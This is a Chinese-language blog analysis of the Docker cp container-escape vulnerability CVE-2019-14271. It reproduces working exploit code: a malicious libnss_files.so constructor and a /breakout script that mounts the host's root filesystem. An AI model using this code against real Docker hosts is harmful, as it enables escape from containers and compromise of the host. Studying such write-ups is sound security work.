理解Docker cp漏洞CVE-2019-14271

理解Docker cp漏洞CVE-2019-14271

  • 一、docker cp
  • 二、漏洞原理

本文基于下面链接文章对CVE-2019-14271进行理解

迄今为止最严重的容器逃逸漏洞:Docker cp命令漏洞分析
这篇文章读了很久,反复琢磨才逐步搞懂它的原理,来之不易!!!
首先我们来了解以下docker cp的原理

一、docker cp

命令

docker cp test:/var/log /tmp

上面的命令表示将容器test的/var/log目录里的文件复制到宿主机的/tmp文件夹下面
在这个过程中借助了一个名叫docker-tar的帮助进程,文章中是这样验证的
首先在后台执行

docker cp test:/var/log /tmp &

然后执行

ps afx | grep -v grep | grep -B 1 docker-tar

来查看进程信息
我试了下,可能是我的log文件夹太小了,我啥也没查出来。
理解Docker cp漏洞CVE-2019-14271_第1张图片
这是文章中查到的,注意这里的进程号20618,待会要用到!
docker-tar的原理其实是使用了chroot,其实就是设置了一个根目录,将要请求的文件与目录放到这个根目录中去,生成一个tar文件,然后再将这个tar文件交给docker的守护进程,由守护进程将文件复制到目标文件夹中去。
什么是chroot?自行百度,我也是现场查的!!
为什么要用chroot呢?文章中解释是因为为了避免符号链接导致问题,因为复制过程中,如果目录中有符号链接的话,该符号链接可能被解析为宿主机的根目录,那么攻击者就可以利用这一点越过容器对宿主机文件系统进行操作。当使用chroot之后,所有的请求文件都被放在这个自定义的根目录下,自然就避免了这个问题。
上面就是关于该漏洞的一些预备知识

二、漏洞原理

docker是使用golang语言编写的,易受攻击的是使用go v1.11版本编写的
在这个版本中,某些嵌入式的C语言软件包会动态加载动态链接库文件,这些软件包包括net os/user,这些软件包在运行的时候会加载多个libnss_*.so库文件。而docker-tar在运行的时候会调用这个软件包,也就会执行动态链接库文件,通常该动态链接库文件时从宿主机的文件系统中加载的,但因为使用了chroot将根目录定义到容器中了,那么在加载库文件的时候就是从容器的文件系统中加载的,那么也就是说,容器中的命令可以影响到宿主机!!如果某个动态链接库文件中包含恶意代码,那么宿主机就会被攻击,可以看出,前提是我们拥有对容器的控制权,那么我们怎么获得这个控制权呢?

  • 自己生成一个包含恶意动态链接库的文件
  • 攻陷一个容器,替换掉他的正常库文件

另外重要的一点文章说到,docker-tar并没有被chroot到容器中,那么docker-tar就拥有宿主机当前用户的权限,如果宿主机的用户是root?后果不堪设想!!
上面提到了我们需要一个libnss_files.so库,直接上网上下载,然后往这个库里面添加一个恶意的函数run_at_link
让我们看看大佬是怎么写这个函数的

#include ...
 
#define ORIGINAL_LIBNSS "/original_libnss_files.so.2"
#define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"
 
bool is_priviliged();
 
__attribute__ ((constructor)) void run_at_link(void)
{
     char * argv_break[2];
     if (!is_priviliged())
           return;
 
     rename(ORIGINAL_LIBNSS, LIBNSS_PATH);
     fprintf(log_fp, "switched back to the original libnss_file.so");
 
     if (!fork())
     {
 
           // Child runs breakout
           argv_break[0] = strdup("/breakout");
           argv_break[1] = NULL;
           execve("/breakout", argv_break, NULL);
     }
     else
           wait(NULL); // Wait for child
 
     return;
}
bool is_priviliged()
{
     FILE * proc_file = fopen("/proc/self/exe", "r");
     if (proc_file != NULL)
     {
           fclose(proc_file);
           return false; // can open so /proc exists, not privileged
     }
     return true; // we're running in the context of docker-tar
}

如果我没有猜错,这是用c语言写的,C语言我就会个皮毛,我们姑且一看。
在这里插入图片描述
大佬先写的这个,意思大概就是说我们的这个恶意的库文件首先只能被docker-tar使用,因为其他的进程运行中也可能会使用这个库,这就会导致混乱。判断的方法就是判断/proc目录是否为空,因为/proc上procfs–进程文件系统,仅存在于容器挂载的命名空间中,说实话这句话我没怎么懂!!
在代码中应该就是is_priviliged这个函数
理解Docker cp漏洞CVE-2019-14271_第2张图片
可一看到,首先去打开一个此然存在的文件/proc/self/exe,如果proc为空那么返回值proc_file就为空,那么就会返回true。
然后回到代码开头
理解Docker cp漏洞CVE-2019-14271_第3张图片
当is_priviliged为true的时候就不会return,继续进入下面的语句!
然后大佬这么写的
在这里插入图片描述
替换库文件,应该是这段代码
在这里插入图片描述
然后是这个
在这里插入图片描述
就是让这个恶意的动态链接库去找/breakout文件,这个文件中就是真正的恶意代码了!
这个文件中是这么写的

#!/bin/bash

umount /host_fs && rm -rf /host_fs
mkdir /host_fs


mount -t proc none /proc     # mount the host's procfs over /proc
cd /proc/1/root              # chdir to host's root
mount --bind . /host_fs      # mount host root at /host_fs
echo "Hello from within the container!" > /host_fs/evil

我们来解读一下这段代码,首先将容器中的/host_fs解除挂载如果成功,那么删除它,然后新建一个目录。
然后将主机的proc文件挂载到容器的/proc上
然后进入到容器的/proc/1/root中,其实是进入到了宿主机中,1表示root用户
然后挂载宿主机的root文件系统到容器的/host_fs中
最后向主机的evil文件中写一句话!!!!
这里还要满足一个条件,因为.so文件是只有root用户才能操作的,所以为了避免这个问题,千万不要用root身份运行容器。
这里有个演示视频

你可能感兴趣的:(VulnReviewing,漏洞原理,docker,安全漏洞,渗透测试,网络安全,cve)